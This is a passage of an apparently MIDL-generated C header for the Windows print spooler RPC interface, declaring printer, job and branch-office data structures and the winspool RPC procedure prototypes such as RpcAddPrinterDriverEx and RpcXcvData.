[case()] */ PRINTER_INFO_2 *pPrinterInfo2;\n        /* [case()] */ PRINTER_INFO_3 *pPrinterInfo3;\n        /* [case()] */ PRINTER_INFO_4 *pPrinterInfo4;\n        /* [case()] */ PRINTER_INFO_5 *pPrinterInfo5;\n        /* [case()] */ PRINTER_INFO_6 *pPrinterInfo6;\n        /* [case()] */ PRINTER_INFO_7 *pPrinterInfo7;\n        /* [case()] */ PRINTER_INFO_8 *pPrinterInfo8;\n        /* [case()] */ PRINTER_INFO_9 *pPrinterInfo9;\n        } \tPrinterInfo;\n    } \tPRINTER_CONTAINER;\n\ntypedef struct SECURITY_CONTAINER\n    {\n    DWORD cbBuf;\n    /* [unique][size_is] */ BYTE *pSecurity;\n    } \tSECURITY_CONTAINER;\n\ntypedef struct _SPLCLIENT_CONTAINER\n    {\n    DWORD Level;\n    /* [switch_is] */ /* [switch_type] */ union \n        {\n        /* [case()] */ SPLCLIENT_INFO_1 *pClientInfo1;\n        /* [case()] */ SPLCLIENT_INFO_2 *pNotUsed1;\n        /* [case()] */ SPLCLIENT_INFO_3 *pNotUsed2;\n        } \tClientInfo;\n    } \tSPLCLIENT_CONTAINER;\n\ntypedef struct _STRING_CONTAINER\n    {\n    DWORD cbBuf;\n    /* [unique][size_is] */ WCHAR *pszString;\n    } \tSTRING_CONTAINER;\n\ntypedef struct _SYSTEMTIME_CONTAINER\n    {\n    DWORD cbBuf;\n    SYSTEMTIME *pSystemTime;\n    } \tSYSTEMTIME_CONTAINER;\n\ntypedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE\n    {\n    unsigned short Type;\n    unsigned short Reserved0;\n    DWORD Reserved1;\n    DWORD Reserved2;\n    DWORD Count;\n    /* [unique][size_is] */ unsigned short *pFields;\n    } \tRPC_V2_NOTIFY_OPTIONS_TYPE;\n\ntypedef struct _RPC_V2_NOTIFY_OPTIONS\n    {\n    DWORD Version;\n    DWORD Reserved;\n    DWORD Count;\n    /* [unique][size_is] */ RPC_V2_NOTIFY_OPTIONS_TYPE *pTypes;\n    } \tRPC_V2_NOTIFY_OPTIONS;\n\ntypedef /* [public][public][public] */ \nenum __MIDL_winspool_0011\n    {\n        kInvalidJobState\t= 0,\n        kLogJobPrinted\t= ( kInvalidJobState + 1 ) ,\n        kLogJobRendered\t= ( kLogJobPrinted + 1 ) ,\n        kLogJobError\t= ( kLogJobRendered + 1 ) ,\n        kLogJobPipelineError\t= ( kLogJobError + 1 ) ,\n        kLogOfflineFileFull\t= ( kLogJobPipelineError + 1 ) \n    } \tEBranchOfficeJobEventType;\n\ntypedef /* [public][public][public] */ struct __MIDL_winspool_0012\n    {\n    DWORD Status;\n    /* [string] */ wchar_t *pDocumentName;\n    /* [string] */ wchar_t *pUserName;\n    /* [string] */ wchar_t *pMachineName;\n    /* [string] */ wchar_t *pPrinterName;\n    /* [string] */ wchar_t *pPortName;\n    LONGLONG Size;\n    DWORD TotalPages;\n    } \tRPC_BranchOfficeJobDataPrinted;\n\ntypedef /* [public][public][public] */ struct __MIDL_winspool_0013\n    {\n    LONGLONG Size;\n    DWORD ICMMethod;\n    short Color;\n    short PrintQuality;\n    short YResolution;\n    short Copies;\n    short TTOption;\n    } \tRPC_BranchOfficeJobDataRendered;\n\ntypedef /* [public][public][public] */ struct __MIDL_winspool_0014\n    {\n    DWORD LastError;\n    /* [string] */ wchar_t *pDocumentName;\n    /* [string] */ wchar_t *pUserName;\n    /* [string] */ wchar_t *pPrinterName;\n    /* [string] */ wchar_t *pDataType;\n    LONGLONG TotalSize;\n    LONGLONG PrintedSize;\n    DWORD TotalPages;\n    DWORD PrintedPages;\n    /* [string] */ wchar_t *pMachineName;\n    /* [string] */ wchar_t *pJobError;\n    /* [string] */ wchar_t *pErrorDescription;\n    } \tRPC_BranchOfficeJobDataError;\n\ntypedef /* [public][public][public] */ struct __MIDL_winspool_0015\n    {\n    /* [string] */ wchar_t *pDocumentName;\n    /* [string] */ wchar_t *pPrinterName;\n    /* [string] */ wchar_t *pExtraErrorInfo;\n    } \tRPC_BranchOfficeJobDataPipelineFailed;\n\ntypedef /* [public][public][public] */ struct __MIDL_winspool_0016\n    {\n    /* [string] */ wchar_t *pMachineName;\n    } \tRPC_BranchOfficeLogOfflineFileFull;\n\ntypedef /* [public][public] */ struct __MIDL_winspool_0017\n    {\n    EBranchOfficeJobEventType eEventType;\n    DWORD JobId;\n    /* [switch_is][switch_type] */ union \n        {\n        /* [case()] */ RPC_BranchOfficeJobDataPrinted LogJobPrinted;\n        /* [case()] */ RPC_BranchOfficeJobDataRendered LogJobRendered;\n        /* [case()] */ RPC_BranchOfficeJobDataError LogJobError;\n        /* [case()] */ RPC_BranchOfficeJobDataPipelineFailed LogPipelineFailed;\n        /* [case()] */ RPC_BranchOfficeLogOfflineFileFull LogOfflineFileFull;\n        } \tJobInfo;\n    } \tRPC_BranchOfficeJobData;\n\ntypedef /* [public] */ struct __MIDL_winspool_0019\n    {\n    DWORD cJobDataEntries;\n    /* [unique][size_is] */ RPC_BranchOfficeJobData JobData[ 1 ];\n    } \tRPC_BranchOfficeJobDataContainer;\n\nDWORD RpcEnumPrinters( \n    /* [in] */ DWORD Flags,\n    /* [unique][string][in] */ STRING_HANDLE Name,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPrinterEnum,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcOpenPrinter( \n    /* [unique][string][in] */ STRING_HANDLE pPrinterName,\n    /* [out] */ PRINTER_HANDLE *pHandle,\n    /* [unique][string][in] */ wchar_t *pDatatype,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ DWORD AccessRequired);\n\nDWORD RpcSetJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [unique][in] */ JOB_CONTAINER *pJobContainer,\n    /* [in] */ DWORD Command);\n\nDWORD RpcGetJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcEnumJobs( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD FirstJob,\n    /* [in] */ DWORD NoJobs,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcAddPrinter( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ PRINTER_CONTAINER *pPrinterContainer,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ SECURITY_CONTAINER *pSecurityContainer,\n    /* [out] */ PRINTER_HANDLE *pHandle);\n\nDWORD RpcDeletePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nDWORD RpcSetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ PRINTER_CONTAINER *pPrinterContainer,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ SECURITY_CONTAINER *pSecurityContainer,\n    /* [in] */ DWORD Command);\n\nDWORD RpcGetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPrinter,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcAddPrinterDriver( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ DRIVER_CONTAINER *pDriverContainer);\n\nDWORD RpcEnumPrinterDrivers( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pDrivers,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcGetPrinterDriver( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pDriver,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcGetPrinterDriverDirectory( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pDriverDirectory,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcDeletePrinterDriver( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pDriverName);\n\nDWORD RpcAddPrintProcessor( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pPathName,\n    /* [string][in] */ wchar_t *pPrintProcessorName);\n\nDWORD RpcEnumPrintProcessors( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPrintProcessorInfo,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcGetPrintProcessorDirectory( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPrintProcessorDirectory,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcStartDocPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DOC_INFO_CONTAINER *pDocInfoContainer,\n    /* [out] */ DWORD *pJobId);\n\nDWORD RpcStartPagePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nDWORD RpcWritePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [size_is][in] */ BYTE *pBuf,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcWritten);\n\nDWORD RpcEndPagePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nDWORD RpcAbortPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nDWORD RpcReadPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [size_is][out] */ BYTE *pBuf,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcNoBytesRead);\n\nDWORD RpcEndDocPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nDWORD RpcAddJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pAddJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcScheduleJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId);\n\nDWORD RpcGetPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ BYTE *pData,\n    /* [in] */ DWORD nSize,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcSetPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName,\n    /* [in] */ DWORD Type,\n    /* [size_is][in] */ BYTE *pData,\n    /* [in] */ DWORD cbData);\n\nDWORD RpcWaitForPrinterChange( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Flags,\n    /* [out] */ DWORD *pFlags);\n\nDWORD RpcClosePrinter( \n    /* [out][in] */ PRINTER_HANDLE *phPrinter);\n\nDWORD RpcAddForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ FORM_CONTAINER *pFormInfoContainer);\n\nDWORD RpcDeleteForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName);\n\nDWORD RpcGetForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pForm,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcSetForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName,\n    /* [in] */ FORM_CONTAINER *pFormInfoContainer);\n\nDWORD RpcEnumForms( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pForm,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcEnumPorts( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPort,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcEnumMonitors( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pMonitor,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nvoid Opnum37NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum38NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcDeletePort( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ ULONG_PTR hWnd,\n    /* [string][in] */ wchar_t *pPortName);\n\nDWORD RpcCreatePrinterIC( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [out] */ GDI_HANDLE *pHandle,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer);\n\nDWORD RpcPlayGdiScriptOnPrinterIC( \n    /* [in] */ GDI_HANDLE hPrinterIC,\n    /* [size_is][in] */ BYTE *pIn,\n    /* [in] */ DWORD cIn,\n    /* [size_is][out] */ BYTE *pOut,\n    /* [in] */ DWORD cOut,\n    /* [in] */ DWORD ul);\n\nDWORD RpcDeletePrinterIC( \n    /* [out][in] */ GDI_HANDLE *phPrinterIC);\n\nvoid Opnum43NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum44NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum45NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcAddMonitor( \n    /* [unique][string][in] */ STRING_HANDLE Name,\n    /* [in] */ MONITOR_CONTAINER *pMonitorContainer);\n\nDWORD RpcDeleteMonitor( \n    /* [unique][string][in] */ STRING_HANDLE Name,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pMonitorName);\n\nDWORD RpcDeletePrintProcessor( \n    /* [unique][string][in] */ STRING_HANDLE Name,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pPrintProcessorName);\n\nvoid Opnum49NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum50NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcEnumPrintProcessorDatatypes( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pPrintProcessorName,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pDatatypes,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcResetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ wchar_t *pDatatype,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer);\n\nDWORD RpcGetPrinterDriver2( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pDriver,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [in] */ DWORD dwClientMajorVersion,\n    /* [in] */ DWORD dwClientMinorVersion,\n    /* [out] */ DWORD *pdwServerMaxVersion,\n    /* [out] */ DWORD *pdwServerMinVersion);\n\nvoid Opnum54NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum55NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcFindClosePrinterChangeNotification( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nvoid Opnum57NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcReplyOpenPrinter( \n    /* [string][in] */ STRING_HANDLE pMachine,\n    /* [out] */ PRINTER_HANDLE *phPrinterNotify,\n    /* [in] */ DWORD dwPrinterRemote,\n    /* [in] */ DWORD dwType,\n    /* [range][in] */ DWORD cbBuffer,\n    /* [disable_consistency_check][size_is][unique][in] */ BYTE *pBuffer);\n\nDWORD RpcRouterReplyPrinter( \n    /* [in] */ PRINTER_HANDLE hNotify,\n    /* [in] */ DWORD fdwFlags,\n    /* [range][in] */ DWORD cbBuffer,\n    /* [disable_consistency_check][size_is][unique][in] */ BYTE *pBuffer);\n\nDWORD RpcReplyClosePrinter( \n    /* [out][in] */ PRINTER_HANDLE *phNotify);\n\nDWORD RpcAddPortEx( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ PORT_CONTAINER *pPortContainer,\n    /* [in] */ PORT_VAR_CONTAINER *pPortVarContainer,\n    /* [string][in] */ wchar_t *pMonitorName);\n\nDWORD RpcRemoteFindFirstPrinterChangeNotification( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD fdwFlags,\n    /* [in] */ DWORD fdwOptions,\n    /* [unique][string][in] */ wchar_t *pszLocalMachine,\n    /* [in] */ DWORD dwPrinterLocal,\n    /* [range][in] */ DWORD cbBuffer,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pBuffer);\n\nvoid Opnum63NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum64NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcRemoteFindFirstPrinterChangeNotificationEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD fdwFlags,\n    /* [in] */ DWORD fdwOptions,\n    /* [unique][string][in] */ wchar_t *pszLocalMachine,\n    /* [in] */ DWORD dwPrinterLocal,\n    /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions);\n\nDWORD RpcRouterReplyPrinterEx( \n    /* [in] */ PRINTER_HANDLE hNotify,\n    /* [in] */ DWORD dwColor,\n    /* [in] */ DWORD fdwFlags,\n    /* [out] */ DWORD *pdwResult,\n    /* [in] */ DWORD dwReplyType,\n    /* [in] */ long Reply);\n\nDWORD RpcRouterRefreshPrinterChangeNotification( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD dwColor,\n    /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions,\n    /* [out] */ long *ppInfo);\n\nvoid Opnum68NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcOpenPrinterEx( \n    /* [unique][string][in] */ STRING_HANDLE pPrinterName,\n    /* [out] */ PRINTER_HANDLE *pHandle,\n    /* [unique][string][in] */ wchar_t *pDatatype,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ DWORD AccessRequired,\n    /* [in] */ SPLCLIENT_CONTAINER *pClientInfo);\n\nDWORD RpcAddPrinterEx( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ PRINTER_CONTAINER *pPrinterContainer,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ SECURITY_CONTAINER *pSecurityContainer,\n    /* [in] */ SPLCLIENT_CONTAINER *pClientInfo,\n    /* [out] */ PRINTER_HANDLE *pHandle);\n\nDWORD RpcSetPort( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pPortName,\n    /* [in] */ PORT_CONTAINER *pPortContainer);\n\nDWORD RpcEnumPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD dwIndex,\n    /* [size_is][out] */ wchar_t *pValueName,\n    /* [in] */ DWORD cbValueName,\n    /* [out] */ DWORD *pcbValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ BYTE *pData,\n    /* [in] */ DWORD cbData,\n    /* [out] */ DWORD *pcbData);\n\nDWORD RpcDeletePrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName);\n\nvoid Opnum74NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum75NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum76NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcSetPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName,\n    /* [in] */ DWORD Type,\n    /* [size_is][in] */ BYTE *pData,\n    /* [in] */ DWORD cbData);\n\nDWORD RpcGetPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ BYTE *pData,\n    /* [in] */ DWORD nSize,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcEnumPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [size_is][out] */ BYTE *pEnumValues,\n    /* [in] */ DWORD cbEnumValues,\n    /* [out] */ DWORD *pcbEnumValues,\n    /* [out] */ DWORD *pnEnumValues);\n\nDWORD RpcEnumPrinterKey( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [size_is][out] */ wchar_t *pSubkey,\n    /* [in] */ DWORD cbSubkey,\n    /* [out] */ DWORD *pcbSubkey);\n\nDWORD RpcDeletePrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName);\n\nDWORD RpcDeletePrinterKey( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName);\n\nvoid Opnum83NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcDeletePrinterDriverEx( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pDriverName,\n    /* [in] */ DWORD dwDeleteFlag,\n    /* [in] */ DWORD dwVersionNum);\n\nDWORD RpcAddPerMachineConnection( \n    /* [unique][string][in] */ STRING_HANDLE pServer,\n    /* [string][in] */ const wchar_t *pPrinterName,\n    /* [string][in] */ const wchar_t *pPrintServer,\n    /* [string][in] */ const wchar_t *pProvider);\n\nDWORD RpcDeletePerMachineConnection( \n    /* [unique][string][in] */ STRING_HANDLE pServer,\n    /* [string][in] */ const wchar_t *pPrinterName);\n\nDWORD RpcEnumPerMachineConnections( \n    /* [unique][string][in] */ STRING_HANDLE pServer,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPrinterEnum,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcXcvData( \n    /* [in] */ PRINTER_HANDLE hXcv,\n    /* [string][in] */ const wchar_t *pszDataName,\n    /* [size_is][in] */ BYTE *pInputData,\n    /* [in] */ DWORD cbInputData,\n    /* [size_is][out] */ BYTE *pOutputData,\n    /* [in] */ DWORD cbOutputData,\n    /* [out] */ DWORD *pcbOutputNeeded,\n    /* [out][in] */ DWORD *pdwStatus);\n\nDWORD RpcAddPrinterDriverEx( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ DRIVER_CONTAINER *pDriverContainer,\n    /* [in] */ DWORD dwFileCopyFlags);\n\nvoid Opnum90NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum91NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum92NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum93NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum94NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum95NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcFlushPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [size_is][in] */ BYTE *pBuf,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcWritten,\n    /* [in] */ DWORD cSleep);\n\nDWORD RpcSendRecvBidiData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ const wchar_t *pAction,\n    /* [in] */ long pReqData,\n    /* [out] */ long *ppRespData);\n\nvoid Opnum98NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum99NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum100NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum101NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nHRESULT RpcGetCorePrinterDrivers( \n    /* [unique][string][in] */ STRING_HANDLE pszServer,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [in] */ DWORD cchCoreDrivers,\n    /* [size_is][in] */ const wchar_t *pszzCoreDriverDependencies,\n    /* [in] */ DWORD cCorePrinterDrivers,\n    /* [out] */ long *pCorePrinterDrivers);\n\nvoid Opnum103NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nHRESULT RpcGetPrinterDriverPackagePath( \n    /* [unique][string][in] */ STRING_HANDLE pszServer,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [unique][string][in] */ const wchar_t *pszLanguage,\n    /* [string][in] */ const wchar_t *pszPackageID,\n    /* [size_is][unique][out][in] */ wchar_t *pszDriverPackageCab,\n    /* [in] */ DWORD cchDriverPackageCab,\n    /* [out] */ LPDWORD pcchRequiredSize);\n\nvoid Opnum105NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum106NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum107NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum108NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum109NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nDWORD RpcGetJobNamedPropertyValue( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [string][in] */ const wchar_t *pszName,\n    /* [out] */ long *pValue);\n\nDWORD RpcSetJobNamedProperty( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [in] */ long pProperty);\n\nDWORD RpcDeleteJobNamedProperty( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [string][in] */ const wchar_t *pszName);\n\nDWORD RpcEnumJobNamedProperties( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [out] */ DWORD *pcProperties,\n    /* [out] */ long *ppProperties);\n\nlong Proc114( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][unique][in] */ wchar_t *arg_0);\n\nlong Proc115( \n    /* [context_handle][in] */ void *arg_0,\n    /* [out] */ unsigned __int3264 *arg_1);\n\nlong Proc116( \n    /* [context_handle][in] */ void *arg_0,\n    /* [in] */ long arg_1);\n\n\n\nextern RPC_IF_HANDLE winspool_v1_0_c_ifspec;\nextern RPC_IF_HANDLE winspool_v1_0_s_ifspec;\n#endif /* __winspool_INTERFACE_DEFINED__ */\n\n/* Additional Prototypes for ALL interfaces */\n\nhandle_t __RPC_USER STRING_HANDLE_bind ( STRING_HANDLE );\nvoid     __RPC_USER STRING_HANDLE_unbind( STRING_HANDLE,  handle_t );\n\nvoid __RPC_USER PRINTER_HANDLE_rundown( PRINTER_HANDLE );\nvoid __RPC_USER GDI_HANDLE_rundown( 